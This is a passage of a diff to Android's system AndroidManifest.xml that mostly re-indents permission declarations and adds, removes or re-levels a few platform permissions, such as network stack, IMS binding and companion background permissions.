     -->
     <permission android:name="android.permission.ACCESS_WIFI_STATE"
-                android:description="@string/permdesc_accessWifiState"
-                android:label="@string/permlab_accessWifiState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_accessWifiState"
+        android:label="@string/permlab_accessWifiState"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to change Wi-Fi connectivity state.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_WIFI_STATE"
-                android:description="@string/permdesc_changeWifiState"
-                android:label="@string/permlab_changeWifiState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWifiState"
+        android:label="@string/permlab_changeWifiState"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi @hide Allows applications to read Wi-Fi credential.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_WIFI_CREDENTIAL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows applications to change tether state and run
          tether carrier provisioning.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.TETHER_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allow system apps to receive broadcast
          when a wifi network credential is changed.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.RECEIVE_WIFI_CREDENTIAL_CHANGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to modify any wifi configuration, even if created
      by another application. Once reconfigured the original creator cannot make any further
      modifications.
      <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.OVERRIDE_WIFI_CONFIG"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide -->
     <permission android:name="android.permission.ACCESS_WIMAX_STATE"
-                android:description="@string/permdesc_accessWimaxState"
-                android:label="@string/permlab_accessWimaxState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_accessWimaxState"
+        android:label="@string/permlab_accessWimaxState"
+        android:protectionLevel="normal" />
 
     <!-- @hide -->
     <permission android:name="android.permission.CHANGE_WIMAX_STATE"
-                android:description="@string/permdesc_changeWimaxState"
-                android:label="@string/permlab_changeWimaxState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWimaxState"
+        android:label="@string/permlab_changeWimaxState"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to act as network scorers. @hide @SystemApi-->
     <permission android:name="android.permission.SCORE_NETWORKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
+
+    <!-- Allows applications to request network
+         recommendations and scores from the NetworkScoreService.
+         <p>Not for use by third-party applications. @hide -->
+    <permission android:name="android.permission.REQUEST_NETWORK_SCORES"
+        android:protectionLevel="signature|setup" />
+
+    <!-- Allows network stack services (Connectivity and Wifi) to coordinate
+         <p>Not for use by third-party or privileged applications.
+         @hide This should only be used by Connectivity and Wifi Services.
+    -->
+    <permission android:name="android.permission.NETWORK_STACK"
+        android:protectionLevel="signature" />
+
+    <!-- Allows Settings and SystemUI to call methods in Networking services
+         <p>Not for use by third-party or privileged applications.
+         @hide This should only be used by Settings and SystemUI.
+    -->
+    <permission android:name="android.permission.NETWORK_SETTINGS"
+        android:protectionLevel="signature" />
 
     <!-- ======================================= -->
     <!-- Permissions for short range, peripheral networks -->
@@ -1221,50 +1330,50 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BLUETOOTH"
-                android:description="@string/permdesc_bluetooth"
-                android:label="@string/permlab_bluetooth"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_bluetooth"
+        android:label="@string/permlab_bluetooth"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to discover and pair bluetooth devices.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BLUETOOTH_ADMIN"
-                android:description="@string/permdesc_bluetoothAdmin"
-                android:label="@string/permlab_bluetoothAdmin"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_bluetoothAdmin"
+        android:label="@string/permlab_bluetoothAdmin"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows applications to pair bluetooth devices without user interaction, and to
          allow or disallow phonebook access or message access.
          This is not available to third party applications. -->
     <permission android:name="android.permission.BLUETOOTH_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Control access to email providers exclusively for Bluetooth
          @hide
     -->
     <permission android:name="android.permission.BLUETOOTH_MAP"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows bluetooth stack to access files
          @hide This should only be used by Bluetooth apk.
     -->
     <permission android:name="android.permission.BLUETOOTH_STACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows applications to perform I/O operations over NFC.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.NFC"
-                android:description="@string/permdesc_nfc"
-                android:label="@string/permlab_nfc"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_nfc"
+        android:label="@string/permlab_nfc"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an internal user to use privileged ConnectivityManager APIs.
          @hide -->
     <permission android:name="android.permission.CONNECTIVITY_INTERNAL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
-    <!-- Allows an internal user to use restricted Networks.
+    <!-- @SystemApi Allows an internal user to use restricted Networks.
          @hide -->
     <permission android:name="android.permission.CONNECTIVITY_USE_RESTRICTED_NETWORKS"
         android:protectionLevel="signature|privileged" />
@@ -1272,22 +1381,22 @@
     <!-- Allows a system application to access hardware packet offload capabilities.
          @hide -->
     <permission android:name="android.permission.PACKET_KEEPALIVE_OFFLOAD"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          @hide -->
     <permission android:name="android.permission.RECEIVE_DATA_ACTIVITY_CHANGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows access to the loop radio (Android@Home mesh network) device.
          @hide -->
     <permission android:name="android.permission.LOOP_RADIO"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows sending and receiving handover transfer status from Wifi and Bluetooth
          @hide -->
     <permission android:name="android.permission.NFC_HANDOVER_STATUS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing accounts -->
@@ -1306,15 +1415,16 @@
     <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.GET_ACCOUNTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:protectionLevel="dangerous"
-                android:description="@string/permdesc_getAccounts"
-                android:label="@string/permlab_getAccounts" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:protectionLevel="dangerous"
+        android:description="@string/permdesc_getAccounts"
+        android:label="@string/permlab_getAccounts" />
+    <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
 
     <!-- @SystemApi Allows applications to call into AccountAuthenticators.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCOUNT_MANAGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing hardware that may effect battery life-->
@@ -1325,34 +1435,34 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"
-                android:description="@string/permdesc_changeWifiMulticastState"
-                android:label="@string/permlab_changeWifiMulticastState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWifiMulticastState"
+        android:label="@string/permlab_changeWifiMulticastState"
+        android:protectionLevel="normal" />
 
     <!-- Allows access to the vibrator.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.VIBRATE"
-                android:label="@string/permlab_vibrate"
-                android:description="@string/permdesc_vibrate"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_vibrate"
+        android:description="@string/permdesc_vibrate"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
          from dimming.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.WAKE_LOCK"
-                android:label="@string/permlab_wakeLock"
-                android:description="@string/permdesc_wakeLock"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_wakeLock"
+        android:description="@string/permdesc_wakeLock"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows using the device's IR transmitter, if available.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.TRANSMIT_IR"
-                android:label="@string/permlab_transmitIr"
-                android:description="@string/permdesc_transmitIr"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_transmitIr"
+        android:description="@string/permdesc_transmitIr"
+        android:protectionLevel="normal" />
 
     <!-- ==================================================== -->
     <!-- Permissions related to changing audio settings   -->
@@ -1363,9 +1473,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"
-                android:label="@string/permlab_modifyAudioSettings"
-                android:description="@string/permdesc_modifyAudioSettings"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_modifyAudioSettings"
+        android:description="@string/permdesc_modifyAudioSettings"
+        android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing hardware -->
@@ -1375,73 +1485,83 @@
     <!-- @SystemApi Allows an application to manage preferences and permissions for USB devices
          @hide -->
     <permission android:name="android.permission.MANAGE_USB"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to access the MTP USB kernel driver.
          For use only by the device side MTP implementation.
          @hide -->
     <permission android:name="android.permission.ACCESS_MTP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows access to hardware peripherals.  Intended only for hardware testing.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.HARDWARE_TEST"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows access to FM
          @hide This is not a third-party API (intended for system apps).-->
     <permission android:name="android.permission.ACCESS_FM_RADIO"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows access to configure network interfaces, configure/use IPSec, etc.
          @hide -->
     <permission android:name="android.permission.NET_ADMIN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows registration for remote audio playback. @hide -->
     <permission android:name="android.permission.REMOTE_AUDIO_PLAYBACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows TvInputService to access underlying TV input hardware such as
          built-in tuners and HDMI-in's.
          @hide This should only be used by OEM's TvInputService's.
     -->
     <permission android:name="android.permission.TV_INPUT_HARDWARE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows to capture a frame of TV input hardware such as
          built-in tuners and HDMI-in's.
          @hide <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.CAPTURE_TV_INPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows TvInputService to access DVB device.
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DVB_DEVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by carrier state
+         @hide <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.MANAGE_CARRIER_OEM_UNLOCK_STATE"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by user state
+         @hide <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.MANAGE_USER_OEM_UNLOCK_STATE"
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows reading the OEM unlock state
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_OEM_UNLOCK_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows enabling/disabling OEM unlock
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.OEM_UNLOCK_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows querying state of PersistentDataBlock
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCESS_PDB_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows system update service to notify device owner about pending updates.
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.NOTIFY_PENDING_SYSTEM_UPDATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- =========================================== -->
     <!-- Permissions associated with camera and image capture -->
@@ -1452,12 +1572,12 @@
          a camera is in use by an application.
          @hide -->
     <permission android:name="android.permission.CAMERA_DISABLE_TRANSMIT_LED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows sending the camera service notifications about system-wide events.
         @hide -->
     <permission android:name="android.permission.CAMERA_SEND_SYSTEM_EVENTS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- =========================================== -->
     <!-- Permissions associated with telephony state -->
@@ -1468,50 +1588,58 @@
          Does not include placing calls.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MODIFY_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows read only access to precise phone state.
          @hide Pending API council approval -->
     <permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows read access to privileged phone state.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_SIM_SUBSCRIPTION. This capability indicates that the PhoneAccount
          corresponds to a device SIM.
          @hide -->
     <permission android:name="android.permission.REGISTER_SIM_SUBSCRIPTION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_CALL_PROVIDER.
          @hide -->
     <permission android:name="android.permission.REGISTER_CALL_PROVIDER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_CONNECTION_MANAGER
          @hide -->
     <permission android:name="android.permission.REGISTER_CONNECTION_MANAGER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.InCallService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_INCALL_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
+
+    <!-- Must be required by a link {@link android.telephony.VisualVoicemailService} to ensure that
+         only the system can bind to it.
+         <p>Protection level: signature|privileged
+    -->
+    <permission
+      android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+      android:protectionLevel="signature|privileged"/>
 
     <!-- Must be required by a {@link android.telecom.CallScreeningService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_SCREENING_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.ConnectionService},
          to ensure that only the system can bind to it.
@@ -1520,24 +1648,34 @@
          @SystemApi
          @hide -->
     <permission android:name="android.permission.BIND_CONNECTION_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.ConnectionService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to control the in-call experience.
          @hide -->
     <permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to receive STK related commands.
          @hide -->
     <permission android:name="android.permission.RECEIVE_STK_COMMANDS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
+
+    <!-- Must be required by an ImsService to ensure that only the
+         system can bind to it.
+         <p>Protection level: signature|privileged
+         @SystemApi
+         @hide
+    -->
+    <permission android:name="android.permission.BIND_IMS_SERVICE"
+        android:protectionLevel="signature|privileged" />
+
 
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
@@ -1547,7 +1685,7 @@
     <!-- @SystemApi Allows an application to write to internal media storage
          @hide  -->
     <permission android:name="android.permission.WRITE_MEDIA_STORAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to manage access to documents, usually as part
          of a document picker.
@@ -1557,14 +1695,21 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.MANAGE_DOCUMENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to cache content.
          <p>Not for use by third-party applications.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.CACHE_CONTENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi @hide
+         Allows an application to aggressively allocate disk space.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.ALLOCATE_AGGRESSIVE"
+        android:protectionLevel="signature|privileged" />
 
     <!-- ================================== -->
     <!-- Permissions for screenlock         -->
@@ -1575,9 +1720,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.DISABLE_KEYGUARD"
-                android:description="@string/permdesc_disableKeyguard"
-                android:label="@string/permlab_disableKeyguard"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_disableKeyguard"
+        android:label="@string/permlab_disableKeyguard"
+        android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions to access other installed applications  -->
@@ -1586,9 +1731,9 @@
 
     <!-- @deprecated No longer enforced. -->
     <permission android:name="android.permission.GET_TASKS"
-                android:label="@string/permlab_getTasks"
-                android:description="@string/permdesc_getTasks"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_getTasks"
+        android:description="@string/permdesc_getTasks"
+        android:protectionLevel="normal" />
 
     <!-- New version of GET_TASKS that apps can request, since GET_TASKS doesn't really
          give access to task information.  We need this new one because there are
@@ -1601,107 +1746,102 @@
          @hide
          @SystemApi -->
     <permission android:name="android.permission.REAL_GET_TASKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to start a task from a ActivityManager#RecentTaskInfo.
          @hide -->
     <permission android:name="android.permission.START_TASKS_FROM_RECENTS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to do interactions
          across the users on the device, using singleton services and
          user-targeted broadcasts.  This permission is not available to
          third party applications. -->
     <permission android:name="android.permission.INTERACT_ACROSS_USERS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Fuller form of {@link android.Manifest.permission#INTERACT_ACROSS_USERS}
          that removes restrictions on where broadcasts can be sent and allows other
          types of interactions
          @hide -->
     <permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
          users on the device. This permission is not available to
          third party applications. -->
     <permission android:name="android.permission.MANAGE_USERS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows an application to create, remove users and get the list of
          users on the device. Applications holding this permission can only create restricted,
-         guest, managed, and ephemeral users. For creating other kind of users,
+         guest, managed, demo, and ephemeral users. For creating other kind of users,
          {@link android.Manifest.permission#MANAGE_USERS} is needed.
          This permission is not available to third party applications. -->
     <permission android:name="android.permission.CREATE_USERS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to set the profile owners and the device owner.
          This permission is not available to third party applications.-->
     <permission android:name="android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS"
-                android:protectionLevel="signature"
-                android:label="@string/permlab_manageProfileAndDeviceOwners"
-                android:description="@string/permdesc_manageProfileAndDeviceOwners" />
+        android:protectionLevel="signature"
+        android:label="@string/permlab_manageProfileAndDeviceOwners"
+        android:description="@string/permdesc_manageProfileAndDeviceOwners" />
 
     <!-- Allows an application to get full detailed information about
          recently running tasks, with full fidelity to the real state.
          @hide -->
     <permission android:name="android.permission.GET_DETAILED_TASKS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to change the Z-order of tasks.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.REORDER_TASKS"
-                android:label="@string/permlab_reorderTasks"
-                android:description="@string/permdesc_reorderTasks"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_reorderTasks"
+        android:description="@string/permdesc_reorderTasks"
+        android:protectionLevel="normal" />
 
     <!-- @hide Allows an application to change to remove/kill tasks -->
     <permission android:name="android.permission.REMOVE_TASKS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows an application to create/manage/remove stacks -->
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to start any activity, regardless of permission
          protection or exported state.
          @hide -->
     <permission android:name="android.permission.START_ANY_ACTIVITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @deprecated The {@link android.app.ActivityManager#restartPackage}
         API is no longer supported. -->
     <permission android:name="android.permission.RESTART_PACKAGES"
-                android:label="@string/permlab_killBackgroundProcesses"
-                android:description="@string/permdesc_killBackgroundProcesses"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_killBackgroundProcesses"
+        android:description="@string/permdesc_killBackgroundProcesses"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to call
         {@link android.app.ActivityManager#killBackgroundProcesses}.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"
-                android:label="@string/permlab_killBackgroundProcesses"
-                android:description="@string/permdesc_killBackgroundProcesses"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_killBackgroundProcesses"
+        android:description="@string/permdesc_killBackgroundProcesses"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi @hide Allows an application to query process states and current
          OOM adjustment scores.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.GET_PROCESS_STATE_AND_OOM_SCORE"
-                android:protectionLevel="signature|privileged|development" />
-
-    <!-- @SystemApi @hide Allows an application to retrieve a package's importance.
-         This permission is not available to third party applications. -->
-    <permission android:name="android.permission.GET_PACKAGE_IMPORTANCE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- Allows use of PendingIntent.getIntent().
          @hide -->
     <permission android:name="android.permission.GET_INTENT_SENDER_INTENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ================================== -->
     <!-- Permissions affecting the display of other applications  -->
@@ -1709,7 +1849,7 @@
     <eat-comment />
 
     <!-- Allows an app to create windows using the type
-         {@link android.view.WindowManager.LayoutParams#TYPE_SYSTEM_ALERT},
+         {@link android.view.WindowManager.LayoutParams#TYPE_APPLICATION_OVERLAY},
          shown on top of all other apps.  Very few apps
          should use this permission; these windows are intended for
          system-level interaction with the user.
@@ -1724,9 +1864,47 @@
          Settings.canDrawOverlays()}.
          <p>Protection level: signature -->
     <permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
-                android:label="@string/permlab_systemAlertWindow"
-                android:description="@string/permdesc_systemAlertWindow"
-                android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+        android:label="@string/permlab_systemAlertWindow"
+        android:description="@string/permdesc_systemAlertWindow"
+        android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+
+    <!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
+         @hide
+    -->
+    <permission android:name="android.permission.RUN_IN_BACKGROUND"
+        android:label="@string/permlab_runInBackground"
+        android:description="@string/permdesc_runInBackground"
+        android:protectionLevel="signature" />
+
+    <!-- @deprecated Use
+        {@link android.Manifest.permission#REQUEST_COMPANION_USE_DATA_IN_BACKGROUND}
+         @hide
+    -->
+    <permission android:name="android.permission.USE_DATA_IN_BACKGROUND"
+        android:label="@string/permlab_useDataInBackground"
+        android:description="@string/permdesc_useDataInBackground"
+        android:protectionLevel="signature" />
+
+    <!-- Allows a companion app to run in the background.
+         <p>Protection level: normal
+    -->
+    <permission android:name="android.permission.REQUEST_COMPANION_RUN_IN_BACKGROUND"
+                android:label="@string/permlab_runInBackground"
+                android:description="@string/permdesc_runInBackground"
+                android:protectionLevel="normal" />
+
+    <!-- Allows a companion app to use data in the background.
+         <p>Protection level: normal
+    -->
+    <permission android:name="android.permission.REQUEST_COMPANION_USE_DATA_IN_BACKGROUND"
+                android:label="@string/permlab_useDataInBackground"
+                android:description="@string/permdesc_useDataInBackground"
+                android:protectionLevel="normal" />
+
+    <!-- @hide Allows an application to set display offsets for the screen.
+         This permission is not available to third party applications. -->
+    <permission android:name="android.permission.SET_DISPLAY_OFFSET"
+                android:protectionLevel="signature|privileged" />
 
     <!-- ================================== -->
     <!-- Permissions affecting the system wallpaper -->
@@ -1737,17 +1915,17 @@
          <p>Protection level: normal
      -->
     <permission android:name="android.permission.SET_WALLPAPER"
-                android:label="@string/permlab_setWallpaper"
-                android:description="@string/permdesc_setWallpaper"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setWallpaper"
+        android:description="@string/permdesc_setWallpaper"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to set the wallpaper hints.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.SET_WALLPAPER_HINTS"
-                android:label="@string/permlab_setWallpaperHints"
-                android:description="@string/permdesc_setWallpaperHints"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setWallpaperHints"
+        android:description="@string/permdesc_setWallpaperHints"
+        android:protectionLevel="normal" />
 
     <!-- ============================================ -->
     <!-- Permissions for changing the system clock -->
@@ -1757,15 +1935,15 @@
     <!-- @SystemApi Allows applications to set the system time.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_TIME"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to set the system time zone.
-         <p>Protection level: normal
+         <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.SET_TIME_ZONE"
-                android:label="@string/permlab_setTimeZone"
-                android:description="@string/permdesc_setTimeZone"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setTimeZone"
+        android:description="@string/permdesc_setTimeZone"
+        android:protectionLevel="signature|privileged" />
 
     <!-- ==================================================== -->
     <!-- Permissions related to changing status bar   -->
@@ -1776,9 +1954,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.EXPAND_STATUS_BAR"
-                android:label="@string/permlab_expandStatusBar"
-                android:description="@string/permdesc_expandStatusBar"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_expandStatusBar"
+        android:description="@string/permdesc_expandStatusBar"
+        android:protectionLevel="normal" />
 
     <!-- ============================================================== -->
     <!-- Permissions related to adding/removing shortcuts from Launcher -->
@@ -1789,17 +1967,16 @@
          <p>Protection level: normal
     -->
     <permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"
-                android:label="@string/permlab_install_shortcut"
-                android:description="@string/permdesc_install_shortcut"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_install_shortcut"
+        android:description="@string/permdesc_install_shortcut"
+        android:protectionLevel="normal"/>
 
-    <!-- Allows an application to uninstall a shortcut in Launcher.
-         <p>Protection level: normal
+    <!--This permission is no longer supported.
     -->
     <permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"
-                android:label="@string/permlab_uninstall_shortcut"
-                android:description="@string/permdesc_uninstall_shortcut"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_uninstall_shortcut"
+        android:description="@string/permdesc_uninstall_shortcut"
+        android:protectionLevel="normal"/>
 
     <!-- ==================================================== -->
     <!-- Permissions related to accessing sync settings   -->
@@ -1810,25 +1987,25 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.READ_SYNC_SETTINGS"
-                android:description="@string/permdesc_readSyncSettings"
-                android:label="@string/permlab_readSyncSettings"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_readSyncSettings"
+        android:label="@string/permlab_readSyncSettings"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to write the sync settings.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.WRITE_SYNC_SETTINGS"
-                android:description="@string/permdesc_writeSyncSettings"
